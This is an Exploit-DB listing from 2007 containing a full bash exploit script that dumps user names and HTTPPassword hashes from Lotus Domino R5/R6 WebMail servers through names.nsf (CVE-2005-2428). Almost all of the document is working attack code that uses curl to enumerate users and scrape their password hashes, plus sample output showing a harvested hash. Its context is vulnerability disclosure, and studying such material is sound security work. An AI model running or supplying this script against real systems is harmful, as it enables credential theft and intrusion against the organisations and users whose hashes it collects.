Lotus Domino <= R6 Webmail Remote Password Hash Dumper Exploit

2007-02-13T00:00:00
ID EDB-ID:3302
Type exploitdb
Reporter Marco Ivaldi
Modified 2007-02-13T00:00:00

Description

Lotus Domino <= R6 Webmail Remote Password Hash Dumper Exploit. CVE-2005-2428,CVE-2007-0977. Remote exploit for windows platform

                                        
                                            #!/bin/bash

#
# $Id: raptor_dominohash,v 1.3 2007/02/13 17:27:28 raptor Exp $
#
# raptor_dominohash - Lotus Domino R5/R6 HTTPPassword dump
# Copyright (c) 2007 Marco Ivaldi &lt;raptor@0xdeadbeef.info&gt;
#
# Lotus Domino R5 and R6 WebMail, with "Generate HTML for all fields" enabled, 
# stores sensitive data from names.nsf in hidden form fields, which allows 
# remote attackers to read the HTML source to obtain sensitive information such 
# as (1) the password hash in the HTTPPassword field, (2) the password change 
# date in the HTTPPasswordChangeDate field, (3) the client platform in the 
# ClntPltfrm field, (4) the client machine name in the ClntMachine field, and 
# (5) the client Lotus Domino release in the ClntBld field, a different 
# vulnerability than CVE-2005-2696 (CVE-2005-2428).
#
# According to testing, it's possible to dump all HTTPPassword hashes using the 
# $defaultview view instead of $users. This saves a considerable amount of time.
# 
# The code may require some changes to properly work with your configuration.
#
# See also:
# http://www.securiteinfo.com/outils/DominoHashBreaker.shtml
#
# Usage:
# $ ./raptor_dominohash 192.168.0.202
# [...]
# Extracting the view entries...
# Done! 656 unique entries have been found.
# Now ready to dump password hashes...
# [...]
# [http://192.168.0.202/names.nsf/$defaultview/00DA2289CC118A854925715A000611A3]
# FirstName:      Foo
# LastName:       Bar
# ShortName:      fbar
# HTTPPassword:   (355E98E7C7B59BD810ED845AD0FD2FC4)
# [...]
#
# Vulnerable platforms:
# Lotus Domino R6 Webmail [tested]
# Lotus Domino R5 Webmail [untested]
# Lotus Domino R4 Webmail? [untested]
#

# Some vars
i=1
tmp1=dominohash1.tmp
tmp2=dominohash2.tmp

# Command line
host=$1

# Local fuctions
function header() {
	echo ""
	echo "raptor_dominohash - Lotus Domino R5/R6 HTTPPassword dump"
	echo "Copyright (c) 2007 Marco Ivaldi &lt;raptor@0xdeadbeef.info&gt;"
	echo ""
}

function footer() {
	echo ""
	exit 0
}

function usage() {
	header
	echo "usage  : ./raptor_dominohash &lt;host&gt;"
	echo "example: ./raptor_dominohash 192.168.0.202"
	footer
}

function notfound() {
	header
	echo "error  : curl not found"
	footer
}

# Check if curl is there
curl=`which curl 2&gt;/dev/null`
if [ $? -ne 0 ]; then
	notfound
fi

# Input control
if [ -z "$1"  ]; then
	usage
fi

# Remove temporary files
rm -f $tmp1
rm -f $tmp2

header

# Extract the view entries
echo "Extracting the view entries..."
while :
do
	curl "http://${host}/names.nsf/\$defaultview?Readviewentries&Start=${i}" 2&gt;/dev/null | grep unid &gt;&gt; $tmp1

	# Check grep return value
	if [ $? -ne 0 ]; then
		break
	fi

	# Go for the next page
	i=`expr $i + 30`
	echo -ne "\b\b\b\b\b\b\b\b$i"
done

cat $tmp1 | awk -F'unid="' '{print $2}' | awk -F'"' '{print $1}' | sort | uniq &gt; $tmp2

# Check if some view entries have been found
if [ ! -s $tmp2 ]; then
	echo "No entries found on host ${host}!"
	footer
fi
echo -ne "\b\b\b\b\b\b\b\bDone! "
echo "`wc -l ${tmp2} | awk '{print $1}'` unique entries have been found."
echo ""

# Perform the hash dumping
echo "Now ready to dump password hashes..."
echo ""
sleep 4
for unid in `cat $tmp2`
do
	echo "[http://${host}/names.nsf/\$defaultview/${unid}]"
	echo ""
	#curl "http://${host}/names.nsf/\$defaultview/${unid}?OpenDocument" 2&gt;/dev/null | egrep '"FullName"|"HTTPPassword"'
	curl "http://${host}/names.nsf/\$defaultview/${unid}?OpenDocument" 2&gt;/dev/null | egrep '"FirstName"|"LastName"|"ShortName"|"HTTPPassword"' | awk -F'input name="' '{print $2}' | awk -F'" type="hidden" value="' '{print $1 ":\t" $2}' | tr -d '"&gt;'
	echo ""
done

footer

# milw0rm.com [2007-02-13]